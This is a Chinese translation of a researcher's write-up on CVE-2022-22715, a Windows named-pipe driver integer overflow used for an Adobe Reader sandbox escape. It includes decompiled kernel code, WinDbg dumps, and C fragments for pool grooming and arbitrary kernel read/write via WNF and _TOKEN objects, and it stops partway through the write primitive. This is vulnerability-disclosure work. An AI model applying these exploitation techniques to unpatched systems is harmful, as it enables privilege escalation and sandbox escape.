突破旧管道沙箱 - CVE-2022-22715 Windows Dirty Pipe漏洞剖析

本文深入分析了CVE-2022-22715(Windows Dirty Pipe)漏洞的根源,详细介绍了在npfs.sys驱动中存在的整数溢出与边界写入问题,并分享了从漏洞触发到实现稳定利用、最终完成权限提升的完整技术细节。

Break me out of sandbox in old pipe - CVE-2022-22715 Windows Dirty Pipe

作者: k0shl of Cyber Kunlun

2022年2月,微软修补了我在2021天府杯上用于逃逸Adobe Reader沙箱的漏洞,该漏洞被分配为CVE-2022-22715。这个漏洞存在于命名管道文件系统(Named Pipe File System)中,自AppContainer诞生以来已存在近10年。我们称它为“Windows Dirty Pipe”。

在本文中,我将分享Windows Dirty Pipe漏洞的根本原因和利用过程。那么,让我们开始这段旅程。

背景

命名管道是一种有名称的、单向或双向的管道,用于管道服务器与一个或多个管道客户端之间的通信。许多浏览器和应用程序使用命名管道作为浏览器进程和渲染进程之间的IPC。AppContainer是微软在发布Windows 8.1时引入的一种沙箱机制,用于隔离UWP应用程序的资源访问。

自那以后,一些浏览器和应用程序,如旧版Edge或Adobe Reader,使用AppContainer作为其渲染进程沙箱。当然,命名管道文件系统为了支持AppContainer也添加了一些机制。结果,这带来了Windows Dirty Pipe——CVE-2022-22715。

Windows Dirty Pipe的根本原因

该漏洞存在于命名管道文件系统驱动程序 - npfs.sys中,问题函数是npfs!NpTranslateContainerLocalAlias。当我们使用命名管道路径调用NtCreateFile时,它会命中npfs的IRP_MJ_CREATE主函数,该函数调用了NpFsdCreate

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
  [...]
  if ( RelatedFileObject )
  {
     [...]
  }
  if ( UnicodeString.Length )
  {
    if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> 如果打开根目录
      goto LABEL_47;
  }
  else
  {
    if ( !RelatedFileObject || NamedPipeType == 0x201 )
    {
      [...]
    }
    if ( NamedPipeType == 0x206 )
    {
      LABEL_47:
      *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> 打开根目录
                                                     (__int64)&MasterIrp,
                                                     v3,
                                                     (__int64)FileObject);
      [...]
    }
  }
  if ( ifopenflag )
  {
    if ( !RelatedFileObject )
    {
      if ( createdisposition == 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix(  // ====> 打开一个已存在的目录命名管道
                                                       (__int64)v33,
                                                       v3,
                                                       FileObject,
                                                       v11,
                                                       DesiredAccess,
                                                       RequestorMode);
        [...]
      }
      if ( (unsigned int)(createdisposition - 2) <= 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix(  // ====> 创建一个新的目录命名管道
                                                       (__int64)v34,
                                                       v3,
                                                       FileObject,
                                                       (struct _SECURITY_SUBJECT_CONTEXT *)v11,
                                                       DesiredAccess,
                                                       RequestorMode,
                                                       Options_high);
        [...]
      }
    }
    goto LABEL_57;
  }
  [...]
  Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> 创建一个新的管道
  [...]
}

该函数根据NtCreateFile的参数(如ObjectAttributesRootDirectoryCreateDisposition)分派到不同的处理函数。如果我们创建一个新的命名管道,它将进入NpTranslatedAlias

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  *(_QWORD *)&String1.Length = 0xE000Ci64;
  String1.Buffer = L"LOCAL\\";
  DestinationString = 0i64;
  *a3 = 0;
  Length = _mm_cvtsi128_si32(*(__m128i *)a1);
  String2 = *a1;
  String2.Length = Length;
  if ( Length >= 2u && *String2.Buffer == 0x5C )
  {
    Length -= 2;
    String2.MaximumLength -= 2;
    v7 = 1;
    ++String2.Buffer;
    String2.Length = Length;
  }
  else
  {
    v7 = 0;
  }
  if ( !Length )
    return 0;
  if ( a2 && Length > 0xCu )
  {
    if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> 比较 "LOCAL\\" 和命名管道名称的前缀
      return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> 漏洞代码
  [...]
}

我们可以控制的命名管道名称会被传入NpTranslateAlias,该函数会获取命名管道名称的前缀并与"LOCAL"进行比较。如果我们的命名管道名称以"LOCAL"为前缀,这将命中NpTranslateContainerLocalAlias函数。这意味着我们可以使用"\Device\NamedPipe\LOCAL\xxxxx"作为命名管道名称。

最后,我们命中了漏洞函数,是时候揭示根本原因了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
  if ( result >= 0 )
  {
    result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
    if ( result >= 0 )
    {
      if ( !TokenInformation && !v28 ) // =====> Token必须是AppContainer或Restricted
        return 0;
  [...]
  v14 = *namedpipename;
  *(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
  v15 = v30;
  v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
  v17 = v16;
  *((_QWORD *)&v30 + 1) = v16;
  if ( *v16 == '\\' ) 
  {
    v17 = v16 + 1;
    ifslash = 1; // ====> 如果命名管道名称中有"\\",ifslash将被设置为1
    v15 = v30 - 2;
  }
  else
  {
    ifslash = 0;
  }
  [...] // ====> 计算新的前缀长度
  v21 = prefixlength + namedpipenamelength + 0x14; 
  v26.MaximumLength = v21;
  if ( ifslash )
  {
    v21 += 2; // ===> 变量v21是ushort类型,它将被加到0
    v26.MaximumLength = v21;
  }
  PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21由于整数溢出将为0,它将分配一个小的池。
  v26.Buffer = PoolWithTag;
  if ( PoolWithTag )
  {
    if ( ifslash )
    {
      v26.Buffer = PoolWithTag + 1;
      v26.MaximumLength -= 2; // 如果ifslash为1,长度0减去2,将导致整数下溢,长度将被设置为0xfffe
    }
    [...]
    RtlUnicodeStringPrintf(  // ====> RtlUnicodeStringPrintf将大尺寸(0xfffe)缓冲区复制到小池中,导致越界写入
      &v26,
      L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
      (unsigned int)v32,
      &v35,
      &DestinationString,
      &v30);
    [...]
  }
  [...]
}

首先,npfs检查进程令牌权限,看它是否是appcontainer或restricted,它必须至少满足两个条件之一,这意味着该进程必须是appcontainer、受限沙箱进程或两者兼有。然后,函数检查命名管道名称的第一个wchar是否为"",如果是,npfs将变量ifslash设置为1。之后,它计算一个新的命名管道前缀长度,新的命名管道前缀包括SID、会话号、指定字符串等,最后,新的前缀长度加上命名管道名称长度和0x14,如果变量ifslash为1,总大小将增加2到最终大小。

注意,所有变量都是ushort类型,因此存在明显的整数溢出。如果我们使用一个长长度的命名管道名称,最终的总大小将是一个小值。

计算之后,由于总大小较小,npfs分配了一个小池。然后,如果ifslash为1,总大小减去2,如果总大小为0,则发生整数下溢,unicode字符串的maxiumlength将变成一个大的ushort值0xfffe。

函数RtlUnciodeStringPrintf会将一个字符串复制到新的池缓冲区中,memcpy的长度取决于unicode字符串的maxiumlength。如果在之前触发了整数下溢,npfs会将一个大的值复制到一个小池中,从而触发越界写入。

崩溃转储:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
 r8=ffffe40ab22d8470  r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00    lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????

崩溃转储显示越界写入损坏了0x20池之后的一些其他对象。

NpTranslateContainerLocalAlias函数的目的是将包含"LOCAL"的命名管道名称翻译成一个新的命名管道名称。例如,如果进程是AppContainer沙箱进程,它会将命名管道名称翻译成带有"AppContainerNamedObjects"的格式字符串。AppContainerNamedObjects是对象管理器中的一个目录,用于存储一些与AppContainer相关的对象。Npfs最终在对象管理器中的AppContainerNamedObjects目录下创建一个新的命名管道对象。

但是,所有大小变量的类型都是ushort,这就是Windows Dirty Pipe的根本原因。

Windows Dirty Pipe的挑战

介绍了Windows Dirty Pipe的根本原因之后,我想在公开我的利用方法之前,分享一下CVE-2022-22715所面临的挑战。

当我触发崩溃并确认漏洞后,我很快意识到这个漏洞并不容易利用,在利用过程中我会遇到一些挑战。

虽然npfs计算总大小时的整数溢出可以使总大小变为一个小值,如0x20\0x30\0x40…,但它必须为0,因为我们需要触发整数下溢,使unicode字符串的maxiumlength变为一个大的ushort值,以便进行越界写入。如果我们将总大小设置为大于0,在总大小减去2之后,它仍然是一个小值,越界写入将不会被触发。

如上所述,memcpy的长度是0xfffe,这意味着我需要将超过16页的池内存复制到一个分页池段中,这不是一个稳定的布局方式。

一个有趣的内核池分配机制

我利用的第一步是尝试找到一种完成池风水(pool feng shui)的方法。在这种情况下,损坏的池必须是一个0x20的分页池,它是一个内核低碎片堆(LFH)池。起初,我想喷洒0x20 LFH池,并损坏一些0x20对象来完成利用。

但有一个问题是,我无法精确控制LFH桶中易受攻击的0x20池的位置,而且memcpy的长度是0xfffe,这可能会损坏一些意外的对象或受保护的页面,导致BSoD。

我不想在我的博客中深入介绍内核池分配,有很多关于这个主题的优秀文章/幻灯片。现在,让我分享我在尝试解决这个问题时使用的一个有趣的内核池分配机制。

众所周知,Windows内核通过后端分配器分配池段,通过前端分配器分配子段。一个有趣的机制是,不同类型的子段可以分配在同一个段中。

这引起了我的注意!

经过一些测试,我确认我可以使一个0x20 LFH子段和一个VS子段相邻。这构成了我的池风水布局。

阶段1:准备

因为易受攻击的池是分页池,所以我选择WNF作为我有限的读/写原语。我使用_WNF_STATE_DATA作为一个有限的越界读/写对象——管理器对象。_WNF_STATE_DATA的最大读/写范围是0x1000。我需要找到另一个对象来完成任意地址读/写——工作对象。实际上,找到一个合适的对象并不难,该对象必须是一个分页池对象,包含一个可用于通过memcpy读/写任意地址的指针字段。

我最终决定使用_TOKEN对象作为工作对象。如果我使用TokenDefaultDaclTokenInformationClass调用NtSetInformationToken,nt最终会调用nt!SepAppendDefaultDacl,将用户控制的内容复制到存储在_TOKEN对象中的指针字段。

1
2
3
4
5
6
7
void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
  v3 = usercontrolled[1];
  v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
  result = memmove(v4, usercontrolled, usercontrolled[1]);
  [...]
}

如果我使用TokenBnoIsolationTokenInformationClass调用NtQueryInformationToken,nt会将一个isolationprefix缓冲区复制到用户模式内存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
NTSTATUS __stdcall NtQueryInformationToken(
        HANDLE TokenHandle,
        TOKEN_INFORMATION_CLASS TokenInformationClass,
        PVOID TokenInformation,
        ULONG TokenInformationLength,
        PULONG ReturnLength)
{
  [...]
      case TokenBnoIsolation:
          [...]
          memmove(
            (char *)TokenInformation + 16,
            TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
            TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
        }
  [...]
}

因此,我可以使用管理器对象构建一个假的_TOKEN对象结构来修改相邻的工作对象,然后使用NtSetInformationTokenNtQueryInformationToken作为任意读/写原语。

我需要准备的另一个对象是0x20喷洒对象,它应该完全由我控制,包括分配和释放。我发现了一个名为nt!NtRegisterThreadTerminatePort的函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
  CurrentThread = KeGetCurrentThread();
  Object = 0i64;
  result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
  if ( result >= 0 )
  {
    PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
    v4 = PoolWithQuotaTag;
    if ( PoolWithQuotaTag )
    {
      PoolWithQuotaTag[1] = Object;
      *PoolWithQuotaTag = CurrentThread[1].InitialStack;
      result = 0;
      CurrentThread[1].InitialStack = v4;
    }
    else
    {
      ObfDereferenceObject(Object);
      return -1073741670;
    }
  }
  return result;
}

该函数引用一个LpcPort对象,并分配一个0x20分页池来存储LpcPort对象,然后将其存储到_ETHREAD对象中。如果我们创建一个线程,并在该线程中多次调用NtRegisterThreadTerminatePort,它可以分配大量的0x20分页池。

最终,我脑海中形成了一个池风水计划:

  1. 喷洒0x20分页池以填充LFH子段。如果所有段都已满,后端分配将分配一个新段,我们的新0x20 LFH子段将位于新段中。
  2. 喷洒_TOKEN对象和_WNF_STATE_DATA对象以填充VS子段,确保它们位于同一页面中。前端分配最终将分配新的VS子段,该子段将位于在步骤1中创建的段中,与LFH子段相邻。

因此,我们最终的池风水布局如下所示:

(此处应有图表,但原文未提供具体图表,仅以文字描述。翻译保留此说明)

请注意,我无法预测易受攻击的池在LFH桶中的位置,但实际上我并不关心这一点。在这种池风水情况下,越界写入的目标是占用VS子段中的管理器对象和工作对象,因此我不需要为易受攻击的对象创建池空洞,只需用喷洒对象填充LFH桶,并确保易受攻击的对象位于LFH桶的末尾。

阶段2:池风水

在喷洒WNF对象时,我发现还有另一个名为_WNF_NAME_INSTANCES的对象被创建,它会导致前端分配创建另一个LFH段,从而影响我们的池风水布局。

因此,在我进行池风水之前,我创建了大量0xd0池并释放它们,以产生大量的0xd0池空洞来存储_WNF_NAME_INSTANCES对象。

1
2
3
4
5
6
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
        AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
        fNtDeleteWnfStateName(&gStateName[i]);//0x30
}

我首先分配了大量的喷洒对象,并喷洒_TOKEN对象和_WNF_STATE_DATA对象,这将在新段中创建新的LFH子段和VS子段。我们可以通过windbg观察最终的池风水布局。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size:   20 previous size:    0  (Allocated) *PsTp Process: ffffc10b74a1c080
        Pooltag PsTp : Thread termination port block, Binary : nt!ps
 ffffb0880d69e020 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e040 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e060 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e080 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e0a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d69f020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f080 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f0a0 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a0020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0080 size:   20 previous size:    0  (Free)       ....

0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a1020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1080 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a2000  // ======>  新的VS子段头部
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size:   30 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a2040 size:  880 previous size:    0  (Allocated)  Toke
 ffffb0880d6a28d0 size:  580 previous size:    0  (Allocated)  Wnf  Process: ffffc10b74a1c080
 ffffb0880d6a2e50 size:  190 previous size:    0  (Free)       ..D.

如布局所示,末尾的LFH桶中有许多空闲的LFH池空洞,新的VS子段紧邻LFH桶。如果我们现在创建易受攻击的对象,它将位于其中一个空闲的LFH池空洞中。

请注意,易受攻击的对象可能不在最后一个LFH页中,但这并不必要,越界写入可能损坏LFH桶,但不会影响我们的利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
 r8=0000000000000fff  r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450      mov     qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000

0: kd> !pool @rax // ===> 易受攻击的池位于LFH桶的一个空闲空洞中
Pool page ffffb0880d69e750 region is Paged pool
 ffffb0880d69e700 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e720 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size:   20 previous size:    0  (Allocated) *NpFn
        Pooltag NpFn : Name block, Binary : npfs.sys
 ffffb0880d69e760 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e780 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7c0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e800 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e820 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e840 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e860 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e880 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8c0 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e8e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080

然后,在调用RtlUnicodeStringPrintf函数之后,它将越界写入大约0xfffe大小的内存内容,这会损坏LFH池空间和VS池空间。损坏的数据是我们可以控制的命名管道名称,我们需要计算恶意载荷来修改_WNF_STAT_DATA->DataSize

当我们创建_WNF_STATE_DATA时,我们不能将DataSize设置为大于_WNF_STATE_DATA数据区域的值,但在触发漏洞后,我们可以将其修改为任何值。DataSize的最大值是0x1000,我们可以获得一个有限的越界读/写原语来修改下一页的_TOKEN对象。

1
2
3
0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0  00001000`00001000 00001000`00001000
ffffb088`0d6a28e0  00001000`00001000 00001000`00001000

阶段3:获得任意地址读/写

在阶段2中,我们进行了池风水,并获得了使用_WNF_STATE_DATA对象的有限读/写原语。但存在一个巨大的问题:我如何找到需要使用的对象句柄?

如果我损坏了对象并通过句柄使用它,损坏的对象头数据会使系统崩溃。现在,我需要找出一个有用的管理器对象(_WNF_STAT_DATA)名称和工作对象(_TOKEN)句柄。

我想到了一个解决方案。对于管理器对象,当我们尝试从_WNF_STATE_DATA数据区域读取数据时,我们调用带有指定长度的NtQueryWnfStateData。如果长度大于DataSize,它将返回nt错误代码0xc0000023。对于工作对象,当我们创建一个_TOKEN对象时,_TOKEN对象中有一个唯一的LUID,可以通过使用TokenStaticsTokenInformationClass调用NtQueryInformationToken来查询,它被称为TokenId。我们可以在喷洒_TOKEN对象时查询它们,并将其存储在数组中。

因为_WNF_NAME_INSTANCES不会被损坏,我们可以正常使用NtUpdateWnfStateDataNtQueryWnfStateData

我已经在阶段2损坏了一些_WNF_STATE_DATA对象,并将DataSize修改为0x1000。我们可以使用带有0x1000长度参数的NtQueryWnfStateData来找出损坏的_WNF_STATE_DATA对象,并读出越界数据以找到最后一个损坏的页面,即与损坏页面相邻的正常页面。

读取越界数据不会损坏对象结构,因此我们可以使用带有0x1000长度参数的NtQueryWnfStateData。如果_WNF_STATE_DATA对象未被损坏,它将返回0xC0000023;如果是,它将返回越界数据。

如果越界数据是恶意数据,我可以确定_WNF_STATA_DATA不在最后一个损坏的页面中。我用这种方式找出最后一个损坏的页面,这样我就可以读取下一个带有_TOKEN对象结构的正常页面。最后一个损坏的页面中的_WNF_STATE_DATA对象就是我们的管理器对象。

_TOKEN对象中有一个LUID字段,我们从越界读取数据中获取它,并在之前创建的数组中进行匹配,这样我们最终找到了工作对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
0: kd> dq 0xffffb0880d6ae000 // ===>  最后一个损坏的页面
ffffb088`0d6ae000  00010001`00010001 00010001`00010001
ffffb088`0d6ae010  00010001`00010001 00010001`00010001
ffffb088`0d6ae020  00010001`00010001 00010001`00010001
ffffb088`0d6ae030  00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> 第一个正常页面
ffffb088`0d6af000  656b6f54`03880000 00000000`00000000
ffffb088`0d6af010  000007b8`00001000 00000000`00000108
ffffb088`0d6af020  ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030  00000000`00008000 00000000`00000001
ffffb088`0d6af040  00000000`00000000 00000000`0008006d

到目前为止,我得到了管理器对象名称和工作对象句柄。然后,我构建了一个0x1000的假数据,包括假的_TOKEN对象结构和_WNF_STATE_DATA结构。我已经通过之前调用NtQueryWnfStateData获得了正常的_TOKEN对象结构内容,我只需要更改一些值以获得任意读/写原语。

读原语:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    FakeSepCached = malloc(0x48);
    ZeroMemory(FakeSepCached, 0x48);
    *(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
    *(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;

    CorruptionData = malloc(OriginalSize);
    ZeroMemory(CorruptionData, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
    *(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;

    Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> 控制管理器对象
    if (Status < 0) {
        free(CorruptionData);
        free(FakeSepCached);
        return FALSE;
    }
  // ===>  任意读
    Status = fNtQueryInformationToken(
        TokenHandle,
        TokenBnoIsolation,
        &RecvBuffer,
        RecvBufferSize,
        &RecvBufferSize);

写原语:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
    *(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;

    *(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
    fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> 控制
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计